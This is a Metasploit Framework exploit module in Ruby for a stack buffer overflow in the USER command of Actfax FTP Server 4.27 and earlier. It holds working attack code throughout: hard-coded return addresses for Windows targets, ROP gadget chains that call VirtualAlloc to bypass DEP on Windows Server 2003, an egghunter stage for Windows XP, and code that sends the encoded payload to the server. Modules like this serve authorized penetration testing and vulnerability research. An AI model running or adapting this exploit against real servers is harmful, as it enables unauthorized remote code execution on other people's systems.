##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Ftp
	include Msf::Exploit::Remote::Egghunter

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Actfax FTP Server <= v4.27 USER Command Stack Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack-based buffer overflow in actfax ftp Server
				version 4.27 and earlier. Actfax fails to check input size when parsing 'USER' command.		
				This vulnerability results in arbitray code execution. This module has been designed to 
				bypass DEP under Windows Server 2003 SP2/R2.
			},
			'Author'         =>
				[
					'mr_me - twitter.com/net__ninja & mrme.mythsec<at>gmail.com',	# found/wrote msf module
					'chap0 - chap0.mythsec<at>gmail.com',				# for the original versions
				],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'OSVDB', '72520' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/16177/' ]
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread'
				},
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'    => 600,
					'DisableNops' => true,
					'EncoderType'     => Msf::Encoder::Type::AlphanumMixed,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					# Server 2003 DEP bypass targets (fully tested)
					[ 'Windows Server 2003 + DEP bypass - NTDLL v5.2.3790.4789',   { 'Ret' => 0x7C813C8F } ], # MOV ESP,EBP; POP EBP; RETN [ntdll.dll]
					[ 'Windows Server 2003 + DEP bypass - NTDLL v5.2.3790.3959',   { 'Ret' => 0x7C813DE7 } ], # MOV ESP,EBP; POP EBP; RETN [ntdll.dll]
					# NON DEP Bypass target	(fully tested)				
					[ 'Windows XP SP3 - Universal',   { 'Ret' => 0x004021C5 } ], # CALL EDI [ActSrvNT.exe]
				],
			'DisclosureDate' => 'Jul 31 2011',
			'DefaultTarget' => 0))

	end

	def check
		connect
		disconnect

		if (banner =~ /Version 4.27/ || banner =~ /Version 4.25/)
			return Exploit::CheckCode::Vulnerable
		end
			return Exploit::CheckCode::Safe
	end

	def get_encoded_payload(p, reg)
		encoder = framework.encoders.create("x86/alpha_mixed")
		encoder.datastore.import_options_from_hash( {'BufferRegister'=>reg} )
		rencoded_payload = encoder.encode(p, nil, nil, platform)
		return rencoded_payload
	end

	def junk
		return rand_text_alpha(4).unpack("L")[0].to_i
	end

	def exploit
		connect

		if (target.name =~ /Server 2003/)
			sc = get_encoded_payload(payload.encoded, "ESP")

			# specially aligned RETN
			rop_stage1  = "\x42\x28\x5f"			# RETN [htnetcfg.dll]
			rop_stage1  += [0x5f282336].pack("V*") * 51	# RETN [htnetcfg.dll]

			# All rop stage 1 instructions are from htnetcfg.dll 
			# Tested versions 5.2.3790.3959 & 
			# which seem to be universal across all windows server 2003 SP's
			rop_stage1 += 
			[
				0x5F29C7F8,	# POP EAX; POP ESI; POP EBP; RETN 8
				0x5F2B5DC3,	# ptr to 0x00001000
				junk,		# JUNK
				0x5f29aa95,	# p2p that is writable, we also -0c to accommodate
				0x5F2A32DA,	# MOV EDX,DWORD PTR DS:[EAX]; JUNK; JUNK; JUNK; JUNK; JUNK; JUNK; RETN 8
				junk,		# JUNK
				junk,		# JUNK
				junk,		# JUNK
				0x5f282336,	# RETN
				junk,		# JUNK
				junk,		# JUNK
			].pack("V*")

			# jump over the below stack alignment (Dont POP EDI)
			rop_stage1 += [0x5F2A345D].pack("V*")	# POP ECX; POP EBP; RETN [htnetcfg.dll]

			# rop_stage1 + stack_alignment to realign after retn address
			rop_stage1 += rand_text_alpha(1)
			stack_alignment = rand_text_alpha(3)

			# We have to be smart on how we use gadgets.
			# Almost a universal dep bypass as most ptrs are from "ActSrvNT.exe".
			# We can use null bytes 0x00 due to character conversion of 0x20!
			# Also, we waste ~208 bytes in payload space but thanks to nulls, we are saved!
			# EDX already contains = 1000 from flAllocationType (rop_stage1)
			rop_stage2 = 
			[
				0x204C2135,	# POP EAX; RETN
				0x2051E1B0,	# IAT -> VirtualAlloc
				0x2051D7A1,	# MOV EAX,DWORD PTR DS:[EAX]; RETN
				0x2040A4A0,	# POP EBX; RETN
				0x2040A4A0,	# POP EBX; RETN
				0x20422E7D,	# MOV ESI,EAX; CALL EBX
				0x2040F2c2,	# POP EBP; POP EBX; RETN
				0x204A5DED,	# JMP ESP
				0x20202120,	# dwSize
				0x204C2135,	# POP EAX; RETN
				0x44444444,	# INC ESP before sc (getPC)
				0x20415D7A,	# POP EDI; POP ECX; RETN
				0x20404A3F,	# RETN
				0x20202040,	# flProtect
				0x2045AB53,	# PUSHAD; RETN
			].pack("V*")

			print_status("Targeting %s" % target.name)
			sploit = rop_stage1
			sploit << [target.ret].pack("V")
			sploit << stack_alignment
			sploit << rop_stage2
			sploit << sc
			sploit << rand_text_alpha((990-sploit.length))

		else
			eggoptions = 
			{
				:checksum => false,
				:eggtag => 'lulz',
			}
		
			# double encoded msf shellcode trick
			sc = get_encoded_payload(payload.encoded, "EDI")
			hunter,egg = generate_egghunter(sc, nil, eggoptions)

			# encode our hunter
			hunter = get_encoded_payload(hunter, "EDI")
			print_status("Targeting %s" % target.name)
			print_status("Sending stage 1 exploit buffer...")
			send_cmd(['USER', 'anonymous'], true)
			send_cmd(['PASS', egg], false)

			sploit = hunter
			sploit << rand_text_alpha(256-sploit.length)
			sploit << [target.ret].pack("V")

			# connect again ;)
			connect
		end

		# profit
		send_cmd(['USER', sploit] , false)
		handler
		disconnect

	end

end
